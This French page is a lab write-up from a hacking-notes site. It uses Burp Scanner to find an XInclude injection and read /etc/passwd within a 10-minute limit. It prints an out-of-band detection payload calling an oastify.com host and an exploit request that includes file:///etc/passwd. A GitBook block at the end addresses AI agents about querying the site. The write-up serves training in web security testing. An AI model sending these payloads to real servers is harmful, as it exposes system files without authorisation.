> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/essential-skills/fast-detection-with-targeted-scanning.md).

# Détection rapide avec analyse ciblée

### Découverte rapide des vulnérabilités grâce à une analyse ciblée

#### Contexte du laboratoire

Ce laboratoire contient une vulnérabilité permettant de **lire des fichiers arbitraires sur le serveur**. / L'objectif est de **récupérer le contenu du `/etc/passwd` fichier en moins de 10 minutes**.

En raison de cette contrainte de temps, il est recommandé d'utiliser **Burp Scanner** plutôt qu'un audit complet de l'application.

#### Contrainte temporelle

* Un \*\*minuteur de 10 minutes\*\* est actif dès le début du laboratoire.
* Un scan global du site peut être trop lent.
* Il est donc préférable de **cibler intelligemment les points d'entrée potentiellement vulnérables**.

<figure><img src="/files/61cdd7343c58f125369a844667ecf82865e530bd" alt=""><figcaption></figcaption></figure>

#### Méthodologie

1. **Intercepter une requête HTTP pertinente** avec Burp Proxy.

<figure><img src="/files/9394483fe074665c75afa50bf50f7daf5e9a34ef" alt=""><figcaption></figcaption></figure>

Analyser rapidement la logique de la requête pour identifier un point de terminaison intéressant.

Lancer un scan ciblé via **Burp Scanner** sur cette requête spécifique.

<figure><img src="/files/4ffea1a3bd464037c64b890e2c3e68ed9fc81301" alt=""><figcaption></figcaption></figure>

#### Configuration du scan Burp

* Type de scan sélectionné : **Exploration et audit**

<figure><img src="/files/fe57ffcb6ab7272ee295a2361365d367907e3f9b" alt=""><figcaption></figcaption></figure>

* Mode : **Scan rapide**

Objectif : identifier rapidement un vecteur d'attaque exploitable

<figure><img src="/files/4669c4b03372976e6d3fc1aa977a3b3c25aa0669" alt=""><figcaption></figcaption></figure>

#### Vulnérabilité identifiée

Le scan révèle une vulnérabilité de type **Injection XML (XInclude)**.

<figure><img src="/files/5b758c9107edbd81b5389e1fa794884863542494" alt=""><figcaption></figcaption></figure>

Charge utile initiale détectée par Burp Scanner :

{% code overflow="wrap" %}

```xml
<oid xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://mrh1ja6l5f029m1pdnomovjvomufik6ludh35s.oastify.com/foo"/></oid>
```

{% endcode %}

Cela confirme que le serveur traite **XInclude** les entités sans restriction.

#### Exploitation : lecture `/etc/passwd`

La charge utile est modifiée pour inclure un fichier local du système :

{% code overflow="wrap" %}

```http
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
id>&storeId=1
```

{% endcode %}

<figure><img src="/files/8e1d4578dfd82c12f82b9593425743165ae8b87a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/essential-skills/fast-detection-with-targeted-scanning.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
